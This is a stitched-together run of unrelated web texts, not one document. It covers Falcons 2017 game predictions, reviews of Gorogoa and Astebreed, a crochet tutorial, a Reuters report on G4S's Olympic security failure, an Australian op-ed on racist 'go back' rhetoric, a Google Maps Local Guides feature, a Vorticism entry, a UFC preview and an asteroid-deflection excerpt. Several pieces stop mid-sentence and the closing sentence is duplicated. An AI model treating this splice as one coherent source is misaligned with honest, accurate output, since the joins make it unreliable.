Week 1: Sunday, Sept. 10, at Chicago Bears, 1 p.m. ET
The perfect cure for a Super Bowl hangover is facing a rebuilding team that finished 3-13 the year before. Ryan vs. Mike Glennon should be no match. Record: 1-0.
Week 2: Sunday, Sept. 17, vs. Green Bay Packers, 8:30 p.m. ET
The atmosphere should be electric for this game, the Falcons' first regular-season contest in Mercedes-Benz Stadium. It's Ryan vs. Aaron Rodgers in an NFC Championship Game rematch, and Ryan has won the last two matchups between the quarterbacks. Record: 2-0.
Week 3: Sunday, Sept. 24, at Detroit Lions, 1 p.m. ET
Ryan gets to see his offseason rec league basketball teammate, Lions QB Matthew Stafford, who just landed a big new contract. The Falcons and Ryan should be able to take advantage of what was the league's third-worst red-zone defense in 2016. Record: 3-0.
Week 4: Sunday, Oct. 1, vs. Buffalo Bills, 1 p.m. ET
The Bills might not be a pushover, but the Falcons should be just fine at home. The Bills ranked 29th against the run last season, so Freeman and Tevin Coleman might both have explosive days. Buffalo sort of gave up on the season when it traded star receiver Sammy Watkins. Record: 4-0.
Week 5: Bye
Week 6: Sunday, Oct. 15, vs. Miami Dolphins, 1 p.m. ET
The Falcons' offensive line has to contain Cameron Wake and Ndamukong Suh and keep Ryan upright. Yes, Miami now has Jay Cutler at quarterback, but that simply should mean more interceptions for Desmond Trufant, Robert Alford and company. Record: 5-0.
There could be considerable hype when Matt Ryan and Tom Brady meet again for a Sunday night game on Oct. 22. Kevin C. Cox/Getty Images
Week 7: Sunday, Oct. 22, at New England Patriots, 8:30 p.m. ET
The much-anticipated Super Bowl LI rematch will be must-see TV. From the Falcons' perspective, they have to step on the gas on offense and run the ball if they have the lead late. But beating Tom Brady at home is a tall task. Record: 5-1.
Week 8: Sunday, Oct. 29, at New York Jets, 1 p.m. ET
Although it's the second consecutive game on the road, the Falcons should have no issues against a Jets team that's been in disarray. The Jets might have the worst roster in the league. Record: 6-1.
Week 9: Sunday, Nov. 5, at Carolina Panthers, 1 p.m. ET
The Falcons frustrated Cam Newton and the Panthers last season |
nearly doubled over in my chair, overwhelmed with the emotion I felt trying to make sense of what had transpired. The game gave me some breathing room to do so, with a solemn song playing while credits rolled. After those, a single panel appeared. The game had begun again. Flipped to page one.
I describe this "ending" moment because it answers a critical concern about the puzzle game Gorogoa, which has been in development for an astonishing six years and was made almost entirely by one man, Jason Roberts. Gorogoa is, quite frankly, short. At the end of six years of development, Roberts has produced a little over two hours of gameplay.
But that's like saying your favorite illustrated book is only 24 pages or your favorite children's movie is only 70 minutes. Like those kinds of art, Roberts' creation stands out because it absolutely works as a "play it again" dive into spirituality, loss, and rebirth. Gorogoa's clever gameplay tricks and gorgeous, hand-drawn art will stay with you for a long time.
Panel placement
Roberts' creation raised eyebrows back in 2012 when he released a free, playable demo of its opening puzzle. Much of that original version still exists in the final Gorogoa, which starts out feeling like a successor to Myst. You see a hand-drawn boy studying at a desk, flipping through pages, until he pauses, awaiting your input. Aim your mouse until it turns from a cursor to a finger-shaped pointer, then click and prod the scene along.
What makes Gorogoa different from something like Myst becomes apparent almost immediately, when the panel you've been clicking shifts to the top-left of the screen. As it turns out, Gorogoa's playfield is a two-by-two grid of four panels. And now, when you click on that original panel, you lift its outer edge. Click-and-drag to drop that frame elsewhere on the grid to continue.
This trick is Gorogoa's alpha and omega. Sometimes, you'll pull a frame or border off of one panel to reveal an entirely new landscape underneath it, which you can click through to expose new puzzles. Other times, you'll realize that some of the panels' contents line up perfectly, perhaps in the shape of a door or a window, and you can combine them to make a new path. Still other times, you might notice that one panel's left edge is covered in symbols... which line up perfectly with another panel's right edge. Maybe you should arrange those panels to sit side-by-side in the two-by-two grid and see what happens.
Those are just a few of the awe-inspiring tricks that play out when clicking on panels, moving panels, combining panels, and more. Gorogoa's rules of engagement change at a moment's notice, and entire, elaborate scenes can vanish with a single puzzle-solving click, leading you to an altogether new mechanic and new panel-shifting rules.
Base camp
Gorogoa's best moments come when you click around the exact way Roberts intends for you to, at which point his illustrative handiwork explodes. 3D effects occasionally play out to punch up the transitions between his major puzzles, but for the most part, Gorogoa is all drawn by hand material. Roberts' artistic approach loudly resembles the works of children's book illustrator Graeme Base (Animalia, The Eleventh Hour), in that every scene is packed with intricate line work and hidden details. In many of its scenes, Gorogoa adds the bonus of exposing more art simply by clicking on a scene.
Roberts' use of hidden doodads can be slightly obnoxious if you're dead set on solving puzzles and not admiring beauty, as some of the click-to-zoom moments do nothing more than linger over an incredible piece of art. Gorogoa's "play it again" appeal helps here, as Roberts tells quite a story through his hundreds of unique panels. In the course of gameplay, Roberts does a remarkable job summoning older motifs and archetypes, like the chorus of a song, which works to ground the game's visual cornucopia. Still, the second (and even third) return to Gorogoa is nigh essential to understand its story and its characters. (Or is it just one character?)
At its worst, Gorogoa expects you to click through certain puzzles in an exact order and not necessarily with rhyme or reason as to why. In my first run-through, I ran into two "pause and come back" stumper points in which I already knew the solution, but not Roberts' preferred clicking path. These were annoying but tolerable. Otherwise, the game lays out plenty of clues and organic nudges to guide you through its ever-changing rules and systems. Part of Gorogoa's brevity is that its puzzles rarely get in the way of appreciating Roberts' visually rich world. (He's also careful to reduce clutter and over-complication; you won't find an "inventory" menu or any other outside system. Just click to navigate.)
Do you have kids? Buy and share Gorogoa as soon as you can. This game is admittedly dark and somber, but its saddest content is more of an issue of tone and confusion than outright inappropriate material, and its delightfully illustrated puzzles do not come more recommended for children. Hardcore puzzle fans, meanwhile, should do their best to take a breath while coming up with Gorogoa's solutions and admire the gorgeous story.
Should you rush along, feeling like a puzzle-solving genius, that's OK. Gorogoa will flip its own pages back to the beginning when you finish. And you should definitely play it again.
The good:
Arguably the prettiest hand-drawn, hand-illustrated video game ever made.
Panel-sorting system pays off as much with clever puzzles as it does with wonderful story-related revelations.
The bad:
Those moments when certain puzzles' solutions are obvious, but the exact clicking order isn't.
The ugly:
Even as a short-and-sweet game, it's hard to say goodbye to Gorogoa's story so soon.
Verdict: Buy.Learn to Crochet!
Crochet Gif Tutorials: Crocodile Stitch
A tutorial in 7 parts:
Part 1 - First Foundation Row
Part 2 - Row 1, First Scale
Part 3 - Row 1, Middle Scales
Part 4 - Row 1, Last Scale
Part 5 - Second Foundation Row
Part 6 - Row 2
Part 7 - Third Foundation Row
This tutorial shows my technique for making the crocodile stitch. I’ve looked at various other tutorials in the past and they all seem to have slightly different methods, but this is what I came up with as the way that works for me. I hope that it will help you too - but as always, play around and see what you like best!
So far, this tutorial only covers making the crocodile stitch in rows - so for things like scarves or anything rectangular. At some point in the future I hope to cover the adaptions you need to make to work this in the round.
Happy hooking! XXLONDON (Reuters) - G4S’s bill for its embarrassing London Olympic staffing failure could rise after a government committee demanded the embattled security firm waive its management fee and compensate Games staff neglected in its chaotic recruitment drive.
A visitor to the Olympic Park reads a 4GS notice stuck to a window at the Aquatics centre, in the Olympic Park, in Stratford, east London, July 17, 2012. REUTERS/Andrew Winning
The world’s biggest security firm has been under fire since admitting just two weeks before the Games began that it could not provide a promised 10,400 venue guards, embarrassing the government - a key customer - and forcing British troops to cancel holidays and fill the shortfall.
G4S has already estimated a 50 million pound loss on the Olympic contract relating to the cost of deploying additional police and military personnel and the likely penalties the London Organising Committee of the Olympic and Paralympic Games will impose, but that may prove conservative.
In a report published on Friday, the Home Affairs Committee, which twice hauled in G4S chief Nick Buckles to explain the Olympic debacle, said responsibility for the failure was with G4S and that its most senior personnel should be held accountable for making misleading staffing assurances to security officials so close to the start of the Games.
“Far from being able to stage two Games on two continents at the same time, as they recklessly boasted, G4S could not even stage one,” said Keith Vaz, Chairman of the influential Home Affairs Committee, referring to an interview managing director of G4S Global Events, Ian Horseman Sewell, gave to Reuters in July.
“G4S should waive its 57 million pound management fee and also compensate its staff and prospective staff who it treated in a cavalier fashion.”
LOCOG has so far parted with only 90 million pounds of the 237 million pound contract and earlier this month insisted the remainder would have to be negotiated.
In a statement on Friday G4S accepted responsibility for its failure to deliver in full on the security contract, but reaffirmed its right to the management fee, which relates to set-up costs for the operation.
Vaz advised LOCOG to negotiate “robustly” with G4S in the public interest on the remainder of the contract.
The total security contract for the Olympics is worth 284 million pounds, including work already paid for in 2011 by the Olympic Delivery Authority.
G4S said discussions on the final financial settlement with LOCOG were underway.
The staffing blunder has already hit G4S hard, hurting its share price, bringing Buckles’ job into question and jeopardising its future chances of winning core government work - the chief concern for the board and shareholders.
With an internal report on the debacle due out this month, their views on whether the company can still win prison and police contracts with Buckles - a 27-year company veteran - at the helm are likely to weigh on a decision about his fate.
RECRUITMENT SHAMBLES
The Committee said it had received submissions from applicants that wanted to work for G4S at the Olympics with many explaining that they had been dropped without explanation despite passing an interview and vetting stage. Others were accredited and trained but had no work when the Games started.
“One applicant from Northern Ireland says that he reported for work in Glasgow as requested but was sent home because G4S had run out of uniforms,” the report read, adding that the day after the Olympic closing ceremony was the first date on which the number of staff supplied by G4S met LOCOG’s demand.
G4S, which eventually supplied 7,800 guards for the Games, said it had already started compensating some of the staff affected.
“G4S has already agreed a process, in conjunction with the GMB Union, for compensating those candidates who completed training and accreditation or made a significant journey through the recruitment process, but were unable to work at the games,” the company said in a statement.
G4S, the world’s second-largest private sector employer, running operations from border control to guarding ships from pirates and cash transportation in 125 countries, makes over half of its 1.8 billion pounds of British revenue from the government.
As private sector involvement in police and criminal justice services - key markets for G4S - grows, the Committee recommended the government should establish a register of high-risk providers, with “a track-record of failure in the delivery of public services”.
The debacle is the second major setback for the firm inside a year after it caved in to investor pressure to scrap a 5.2 billion pound acquisition of Danish cleaning firm ISS at a cost of around 55 million pounds last November.
The group, which in August posted a 5.8 percent rise in first-half revenues to 3.9 billion pounds, is expected to make a full-year pretax profit of 424.89 million pounds according to a consensus of 17 analysts polled by Reuters.
Shares in the FTSE 100 firm fell heavily after the staffing shortfall was first announced but have recovered to around 5 percent down on before the news, valuing the business at around 3.7 billion pounds.Pete Davison By Pete DavisonContributor About this game Developer
Edelweiss
Edelweiss Publisher
Active Gaming Media, Inc.
Active Gaming Media, Inc. Version reviewed
PC
PC Price
$19.99 (currently on sale for $14.99)
$19.99 (currently on sale for $14.99) Get it here
Steam, Playism
Steam, Playism Review copy from
N/A
There's an assumption among certain quarters of the gaming community at large that small-scale, independently developed games can never quite match the sheer audio-visual spectacle that triple-A offers.
To those people -- and to anyone else who likes a cracking good time -- I present to you Edelweiss' Astebreed, the most spectacular, beautiful shoot 'em up I've seen for a good long while.
Edelweiss, for the unfamiliar, is a Japanese doujin (independent) developer that, prior to Astebreed, has brought two PC games -- Fairy Bloom Freesia and Ether Vapor Remaster -- to the West via localizers and distributors. Both of these titles are extremely technically proficient, happily running at a blistering 60+ frames per second at full 1920x1080 HD resolution even on a modest rig. Each of them is also a really solid game in its own right -- Ether Vapor Remaster is a scrolling shmup that uses its 3D graphics to shift between perspectives during gameplay, while Fairy Bloom Freesia is an enjoyable platform brawler starring an adorable little fairy girl with a penchant for punching everything in the face.
And so we come to the company's most recent Western release, Astebreed. Taking its cues from Ether Vapor Remaster, Astebreed is once again a shmup that features dynamic, sweeping camera angles that pan, swoop and zoom around during gameplay, effortlessly shifting the action from top-down to side-on to into-the-screen 3D and back again without missing a beat. While visually spectacular to watch, even if you're not playing, the times when the perspective changes and the camera swishes around are consistently and sensibly timed to coincide with brief -- often much-needed -- moments of downtime in the action. In other words, the sheer visual spectacle of the game doesn't come at the expense of gameplay or the ability to see what is going on; instead, it makes the whole thing into a distinctly cinematic experience, a feeling further compounded by the enjoyable, interesting and dramatic but unobtrusive plot that is threaded through the course of the game's six stages.
Taking on the role of a mecha pilot named Roy, the narrative tells a creative sci-fi tale about an mysterious, threatening alien force known as the Filune. Accompanied by Fiona, a young girl forever modified by human experimentation to effectively become part of the Xbreed mecha's weaponry system, Roy must battle his way through swarms of enemies to discover the truth behind the disappearance of Fiona's sister -- and the invasion of the Filune. The whole story is short -- you'll probably complete it in about an hour and a half on your first runthrough if your skill level is anything like mine (i.e. not terribly high) -- but it's well-paced, packing as much drama into its six chapters as more sprawling games do across 30 or 40 hours.
The story is enjoyable, interesting, well-told and well-acted by the Japanese voice actors, but there's one minor niggle with it: there's a lot of dialogue that unfolds in the thick of the action, and unless you speak Japanese fluently enough to be able to understand it without reading subtitles, you're almost definitely going to miss some of it amid all the chaos. The subtitles are relegated to the bottom-left corner of the screen, which ensures they don't get in the way of the action, but also makes it difficult to give any attention to them while you're fighting. It's a minor issue -- and once you start playing for high scores rather than the story, you can turn all the dialogue off anyway -- but it did detract very slightly from the otherwise immaculately presented drama of the tale the game tells.
Gameplay-wise, Astebreed is an interesting beast. The Xbreed is armed with two different types of long-range "shot" attacks -- one fires in a spread pattern, while the other focuses the same amount of bullets into a more concentrated, focused area -- and a sword for melee attacks. Both types of shot can be "locked on" by holding the respective button down -- locking on the spread shots allows you to target enemies anywhere in a circular area around you, while locking on the focused shot allows you to target anything within a fairly narrow cone in the direction you press -- and different types of attacks can be used to nullify certain types of bullets. You also have a special "EX Attack" when you've built up enough energy, and this in turn has three different means of execution, each of which has its own unique benefits.
It initially appears to be quite complicated, but an interactive prologue gives you the opportunity to play with the controls in a relatively "safe" context, and a full, optional tutorial explains all the concepts in detail if you want to know a little more. Of chief importance to those playing the game for bragging rights rather than the story is the scoring system, and in true Japanese shmup style it's an intricate affair that rewards not only familiarity with the game mechanics, but also borderline superhuman skill.
Here's how it works: so long as the Xbreed has shields, you can build up a score multiplier by destroying enemies using the shot-type attacks. This multiplier can then be taken advantage of by destroying enemies using the sword attack -- which is a more powerful attack capable of repelling a lot of different enemy projectiles anyway. The twist to prevent you from just spamming the sword combo is that every time you hit an enemy using the sword, the multiplier drops back down again, so you'll need to balance both your shot and melee attacks to obtain the highest scores. Oh, and avoid the chaos of incoming bullets, too; taking any shield damage drops the multiplier right back down to 1.
Astebreed certainly isn't a danmaku ("bullet hell") shooter, but in order to succeed it does require many of the same skills and character traits. Most notably, it's a game that rewards the ability to stay calm amid utter mayhem unfolding on screen -- working out the best position to sit to avoid damage, working out the best means of efficiently destroying enemies, and determining when it's safe to go wild with the sword and take advantage of that multiplier you've been building up. This becomes particularly apparent during the boss battles which, in true old-school tradition, make use of learnable patterns across several phases. The boss fights become increasingly complex as the game progresses, with the final two battles in particular being extremely demanding but enormously satisfying affairs that reward careful, methodical play rather than simply going in all guns blazing -- or, indeed, sword a-swingin'.
The beauty of Astebreed as a complete package is that there's really something here to cater to most tastes. Narrative junkies can enjoy a full, satisfying, enjoyable and well-told story in the space of 60-90 minutes. Score attack fans can take advantage of the game's detailed stat-tracking at the end of each level -- including a great graph that shows how your multiplier rose and fell over the course of the chapter. Mecha enthusiasts should beat the game at least once in order to take advantage of what I've come to regard as the "giant robot pornography" feature, which allows you to get up close and personal with all the 3D mechanical models in the game and even fiddle around with their flaps and flamey bits to your heart's content. Fans of Japanese animation and art can indulge in the beautiful artwork that punctuates the story sequences -- and which, after beating the game once, is viewable from the main menu. And anyone who just wants a game with which to impress their friends, well, Astebreed certainly fits the bill there, too.
All in all, it's a great package for a great price, with the only real minor flaws being the aforementioned difficulty in reading the subtitles while attempting to fend off the incoming enemy hordes -- and perhaps, for some, the relatively small number of levels, though this is nothing unusual for the shmup genre. Aside from these considerations, Astebreed is a game that, in terms of quality and design, puts many recent triple-A releases to shame and which, for those who have yet to discover the joys of Edelweiss' work, is a fine place to get acquainted with this talented Japanese developer.
And for those of you who are already familiar with Edelweiss' work? Well, you probably already bought it anyway, didn't you?Targeted: Yassmin Abdel-Magied. Credit:Daniel Boud This week, Australia has seen more calls for "go back to where you came from" directed towards high profile identities, and we have to look at why. On Monday, a group called "Aussie Nationalists" posted signs around Sydney that called for Waleed Aly, Yassmin Abdel-Magied, Chinese investors and Apex gang members to be deported. The signs read "Gotta catch and deport them all". And last weekend, commentator Rowan Dean, in response to the Race Discrimination Commissioner Tim Soutphommasane literally doing his job and calling for more cultural diversity in Australian media and politics, suggested that if the commissioner didn't like things, he should follow Abdel-Magied's lead and leave the country. And there lies one of the biggest problems with freedom of speech: the underlying but glaring double standard. People are permitted to disagree with each other, and express opinions. But if you happen not to be white, and if you're an immigrant on top of that, express a contrary opinion and fully expect to be invited to cut short your time "visiting" this great country – even if you are a citizen. Even if you were born here.
Yassmin Abdel-Magied being targeted in a racist campaign. Credit:Aussie Nationalists When I write an article about race, I always preface it with "I'm an Aussie-born-and-bred girl", so that my perspective is more palatable. I'm not an outsider, I promise reassuringly. I was born here. I'm one of you. I love Jimmy Barnes. I know the second verse to the national anthem. My favourite drink is Bundy and Coke. (When I'm in polite company I make it a scotch and Coke.) And like most Aussies, I would probably only just barely pass the new stringent Australian Citizenship Test. Yep, I'm Aussie as. Tim Soutphommasane, race discrimination commissioner: literally doing his job and calling for more cultural diversity in Australian media and politics. Credit:Eddie Jim It's ridiculous. A white person doesn't have to prove that they deserve to be part of the conversation. A white person can write a piece in favour of immigration and diversity and they'll be accused of being a leftie, or a liberal, or a social justice warrior – but they won't be told, for simply expressing their opinion, that if they don't like it here, they should leave. They won't be told to go back to where they came from; their heritage won't even come into play.
The fact of the matter is that non-white Aussies are considered less Australian. In August 2015, I tweeted, "Dear Border Force Cops, I'm brown but I don't have a Visa, just a Platinum AMEX," in response to the Australian Border Force proposal to conduct "random visa checks" that weekend. You know, the joke being that I was born here and am an Australian citizen and Australian in every sense of the word, but could easily have been stopped on the basis of racial profiling for an "identity check". Due to enormous backlash, the operation didn't go ahead, but it made me feel unsafe and uncertain; less Australian. I wrote a piece called "Why I'm Glad My Son Is White, Not Brown Like Me", explaining my quiet relief that my son, whose pigmentation is like his Caucasian father's, would never have to explain or prove that he belonged. He would of course have other challenges in life, but he would never have to justify his identity, his presence, his rights, in the country in which he was born. I've written a lot about race. And I've published responses to the racist feedback I receive for daring to express an opinion on anything at all, even if it's not race or politically related. Why am I told to "go back to where I came from" when I'm talking about homelessness or gender equality? How is my cultural background, and the assumptions made by people seeing my tiny headshot at the top of the article, relevant? But perhaps we've all been conditioned to think like this to some extent – even me. If I showed you a photograph of my mother, and one of my son's English sports coach, you would probably assume the white male is the Australian citizen and the brown woman is the permanent resident; that my mother is the one who doesn't yet identify as Australian, and feels loyalty to her country of birth over Australia.
Actually, it's the other way around. But then, if I told you that the white person felt like that, would you think that's understandable, only natural? The heart always lies with one's homeland. But if you heard that a non-white, immigrant male felt loyalty to their homeland over Australia in the exact same way, would you see that as their failure to assimilate? And would you be alarmed about that? There's a strong possibility the answer is yes. And that's something we need to think about. There is one white person I know who already does this – my 10-year-old son. He's conscious of racial double standards, because he sees clearly how they apply to me. I know that one day he will join me in speaking openly to effect change.
Loading And as a white man, he'll probably have a better chance of succeeding. Nama Winston is a freelance writer.If YouTubers getting tens of millions of video views are considered online stars, it’s hard to know what to call a couple of prolific Toronto contributors to Google Maps. “Our numbers are 274,454,383 views between Richard and I and, by the end of the month, we should be up to 1.2 million views per day,” said Sydney Eatz who, with Richard Trus, photographs and describes shops, parks and thousands of other Toronto sites, uploading the results to Google’s online navigation tool.
Naomi Shapiro, middle owner of Rock N' Karma poses with Richard Trus, left, and Sydney Eatz from Google Local Guides Toronto in her Queen St. West store. ( Vince Talotta / Toronto Star )
They are Local Guides, citizen contributors in a global program. They earn virtual points and badges in exchange for continuously improving Google Maps with detailed and accurate “user-generated content.” While YouTube stars with viral videos can get famous plus rich from ad revenue, Eatz and Trus earn prestige among other Local Guides, and connections but no cash from the massive number of international eyeballs scanning their photos of gas stations or notes about a particular restaurant’s pasta and patio. Alphabet, owner of Google, YouTube and other firms, reported revenues of $26 billion U. S. between April and June.
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“We get paid in satisfaction, knowing we are helping people,” says Eatz, an aspiring video producer and host known online by the first name “Hottie” in reference to sweating from a hyperthyroid condition that also keeps her continuously hungry. Trus, who has a background in visual technology, adds: “There’s this real world and there’s this digital world, and Google Maps is the translator in between, and we’re specialists in that. Between Sydney and I we are ranked top 20 (Local Guides) in the world. There are companies now approaching us,” with opportunities to leverage that. Local Guides launched in 2015, similar to online review site Yelp’s “elite” program. Google says it now has 33 million Local Guides in more than 240 communities, with Toronto among the most vibrant. Toronto Guides have dozens of informal “meetups” each year. In February the company threw them a party at the Art Gallery of Ontario as a reward for placing fourth in a worldwide “challenge.” While it may seem a nerdy hobby, like Pokemon Go, Local Guides can literally put businesses on the map and potentially help the city as a whole.
Digital Main Street, a partnership of the City of Toronto and TABIA, an association of neighbourhood merchants’ groups, is working with Trus and Eatz to get thousands of businesses photographed, inside and out, for Google Maps and to show them how to take control of a pop-up profile that displays hours and other information. The service is free and businesses can apply for a course and $2,500 grant to increase their digital footprint.
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“This push is great for the businesses and to helps consumers who want directions but also to know things like if a coffee shop has free Wi-Fi and plugs for their laptops,” says Darryl Julott, program manager at Digital Main Street which counts Google among its corporate partners. “As a city, we’re competitive if not ahead and all this helps. In the last few years there has been a huge tech shift toward Toronto.” Naomi Shapiro’s success selling unique hip clothes in the traditional way didn’t make her think twice about getting Rock N’ Karma on Google Maps. “It’s the 21st century. We’ve all got to be online. Of course I said ‘yes,’” says the designer and Queen St. W. retailer. Eatz and Trus say basic “authentic” photos get more views than fancy promotional shots. They are constantly surprised at which photos get the most eyeballs. The Burlington head office of an educational games producer has more than 2 million views, while an organic fish store has more than 300,000. The more information on local maps, such as which businesses are LGBTQ friendly, or where popular TV shows or movies were shot, the more chance Toronto has of luring visitors who share niche interests, they add. They squired a visiting Google executive who wanted to do the CN Tower Edgewalk, but also eat at Burger’s Priest, because she’s an aficionado, walk through Graffiti Alley, which she’d seen on Google Maps, and drink at Harry Potter-themed bar The Lockhart because she’s a Potterhead. Trus argues that having hyper-detailed online maps can also boost Toronto in the tech race, noting an Alphabet firm is reportedly bidding to build a high-tech test neighbourhood in Quayside on the city’s eastern waterfront. “The projects that Sidewalk Labs are doing are things like drone delivery, driverless cars, and all of these things are based on maps,” he says. “You can use analytics to build a city rather than opinions.” Albry Smither, Google’s global lead for Local Guides, wouldn’t comment on any bids for Quayside. She did say: “A well-mapped city is useful. We have trucks and cars mapping the country every day... The Toronto Local Guides community has tripled over the past two-and-a-half years. We have a really active user base who are super-engaged about adding their user-generated content.”
Read more about:Vorticism was a short-lived modernist movement in British art and poetry of the early 20th century,[1] partly inspired by Cubism. The movement was announced in 1914 in the first issue of BLAST, which contained its manifesto and the movement's rejection of landscape and nudes in favour of a geometric style tending towards abstraction. Ultimately, it was their witnessing of unfolding human disaster in World War I that "drained these artists of their Vorticist zeal".[2] Vorticism was based in London but was international in make-up and ambition.
Origins [ edit ]
The Vorticism group began with the Rebel Art Centre which Wyndham Lewis and others established after disagreeing with Omega Workshops founder Roger Fry, and has roots in the Bloomsbury Group, Cubism and Futurism. Lewis himself saw Vorticism as an independent alternative to Cubism, Futurism and Expressionism.[3]
Though the style grew out of Cubism, it is more closely related to Futurism in its embrace of dynamism, the machine age and all things modern (cf. Cubo-Futurism). However, Vorticism diverged from Futurism in the way it tried to capture movement in an image. In a Vorticist painting modern life is shown as an array of bold lines and harsh colours drawing the viewer's eye into the centre of the canvas.
The name Vorticism was given to the movement by Ezra Pound in 1913,[1] although Lewis, usually seen as the central figure in the movement, had been producing paintings in the same style for a year or so previously.[4]
Participants [ edit ]
The eleven signatories of the Vorticist manifesto were:
Other contributors to the development of the movement were David Bomberg, Alvin Langdon Coburn, Jacob Epstein (notably Rock Drill), Frederick Etchells, Christopher Nevinson and Dorothy Shakespear.
BLAST [ edit ]
BLAST The cover of the 1915
[5]
The Vorticists published two issues of the literary magazine BLAST, edited by Lewis, in June 1914 and July 1915.[6] It contained work by Ezra Pound and T. S. Eliot as well as by the Vorticists themselves. In the first issue, Ford Madox Ford, writing under the name, Ford Madox Hueffer, submitted "The Saddest Story", a ten-page excerpt from the beginning of his novel, 'The Good Soldier'. Its typographical adventurousness was cited by El Lissitzky as one of the major forerunners of the revolution in graphic design in the 1920s and 1930s.
Demise and legacy [ edit ]
Experimental paintings and sculpture using angular simplification and abstraction, by Lewis, Wadsworth, Shakespear and others, were shown at the Rebel Art Centre in 1914, before the formation of the Vorticist Group. This work was contemporary with and comparable to abstraction by European artists such as Wassily Kandinsky, František Kupka and the Russian Rayist Group. The Vorticists held only one exhibition, in 1915, at the Doré Gallery in London.[6] The main section of the exhibition included work by Jessica Dismorr, Frederick Etchells, Lewis, Gaudier-Brzeska, William Roberts, Helen Saunders and Edward Wadsworth. There was a smaller section area titled "Those Invited To Show" that included several other artists. Jacob Epstein was notably not represented, although did have his drawings reproduced in BLAST.[3]
After this, the movement broke up, largely due to the onset of World War I and public apathy towards the work. Gaudier-Brzeska was killed in military service, while leading figures such as Epstein distanced themselves stylistically from Lewis. A brief attempt by Lewis to revive the movement in 1920 under the name Group X proved unsuccessful.[7] Pound, however, through his correspondence with Lewis, was understood to hold a commitment to the goals of the movement as much as forty years after its demise.[8]
While Lewis is generally seen as the central figure in the movement, it has been suggested that this was more due to his contacts and ability as a self-publicist and polemicist than the quality of his works.[8] A 1956 exhibition at the Tate Gallery was called Wyndham Lewis and Vorticism, highlighting his prominent place in the movement. This angered other members of the group. Bomberg and Roberts (who published a series of "Vortex Pamphlets" on the matter)[9] both protested strongly the assertion of Lewis, which was printed in the exhibition catalogue: "Vorticism, in fact, was what I, personally, did, and said, at a certain period."
Recent exhibitions [ edit ]
See also [ edit ]
Notes [ edit ]By Matthew Wells
At UFC 211 on May 13, heavyweight champ Stipe Miocic will square off against Junior dos Santos in a rematch of their incredible bout from 2014.
In the first meeting, an epic five-round, bonus-earning affair, Junior dos Santos emerged from the contest with his hand raised by way of the judges' scorecards. That moment sparked a change in Miocic, who hit the gym harder, honed his skills, and soaked in the lessons learned from the second loss of his professional career. Miocic hasn't lost since.
Rematches have an opportunity to create an exciting rivalry between fighters, but sometimes in the fight game, and even more so in the movie industry, the sequel is an extreme letdown.
That was the case when Tyron Woodley and Stephen Thompson squared off for the second time in Las Vegas at UFC 209 for the UFC Welterweight Title. After their first bout, which was an incredible back and forth battle, the rematch left a sour taste in the mouths of many who wanted more action from the lackluster decision outcome.
Miocic promises his second meeting with Junior dos Santos will be nothing like that.
"Those guys were two different styles. Woodley and Thompson, they're amazing fighters," Miocic stated. "Woodley is strong, powerful, explosive. Wonderboy is also strong, powerful, and explosive, but in a different way with his karate. It's like oil and water. With me and JDS, we're both boxers, we like to stand and bang. That's what everyone wants to see!"
The first meeting between Miocic and Dos Santos was one of the best five-round heavyweight fights in the history of the sport. Sitting atop the most stacked card of 2017 thus far, Miocic is excited to headline such a big event.
"Doesn't get any better than this. They have two title fights, a bunch of top 5, top 10 guys fighting each other. These guys are going for broke," stated Miocic.
When asked why the second clash should live up to the hype, Miocic responded confidently, "It's the best possible matchup to make in the heavyweight division, which I'm glad they did and it's about time.
"I'm just locked in like I do every fight. I have seven performance bonuses, that's the most in the heavyweight division," continued Miocic. "I'm still young and I've got a lot more coming."
With a win over Dos Santos on May 13, Miocic will tie the record for the most consecutive UFC heavyweight title defenses with two. While two is a small number compared to Demetrious Johnson's nine title defenses in a row, knocking on the door of Anderson Silva's record of ten, it shows the extreme volatility of the heavyweight division. All it takes is one punch. That statement holds true at any level of the fight game, but with the big boys in |
These methods would work for short-notice, and long-notice threats, and are most effective against solid objects that can be directly pushed, but in the case of kinetic impactors, they are not very effective against large loosely aggregated rubble piles. The indirect methods, such as gravity tractors, attaching rockets or mass drivers, are much slower and require traveling to the object, time to change course up to 180 degrees to fly alongside it, and then take much more time to change the asteroid's path just enough so it will miss Earth.
Many NEOs are thought to be "flying rubble piles" only loosely held together by gravity, and a typical spacecraft sized kinetic-impactor deflection attempt might just break up the object or fragment it without sufficiently adjusting its course.[50] If an asteroid breaks into fragments, any fragment larger than 35 meters across would not burn up in the atmosphere and itself could impact Earth. Tracking the thousands of buckshot-like fragments that could result from such an explosion would be a very daunting task, although fragmentation would be preferable to doing nothing and allowing the originally larger rubble body, which is analogous to a shot and wax slug, to impact the Earth.
In Cielo simulations conducted in 2011–2012, in which the rate and quantity of energy delivery were sufficiently high and matched to the size of the rubble pile, such as following a tailored nuclear explosion, results indicated that any asteroid fragments, created after the pulse of energy is delivered, would not pose a threat of re-coalescing (including for those with the shape of asteroid Itokawa) but instead would rapidly achieve escape velocity from their parent body (which for Itokawa is about 0.2 m/s) and therefore move out of an earth-impact trajectory.[51][52][53]
Nuclear explosive device [ edit ]
[54][55] One of the outcomes of this diagnostic work resulted in this graphic depiction of the transport of energetic x-ray and neutrons through a vacuum line, some 2.3 km long, whereupon it heated solid matter at the "station 1200" blockhouse and thus generated a secondary fireball.[56][57] In a similar manner to the earlier pipes filled with a partial pressure of helium, as used in the Ivy Mike test of 1952, the 1954 Castle Bravo test was likewise heavily instrumented with Line-of-Sight(LOS) pipes, to better define and quantify the timing and energies of the x-rays and neutrons produced by these early thermonuclear devices.One of the outcomes of this diagnostic work resulted in this graphic depiction of the transport of energetic x-ray and neutrons through a vacuum line, some 2.3 km long, whereupon it heated solid matter at the "station 1200" blockhouse and thus generated a secondary fireball.
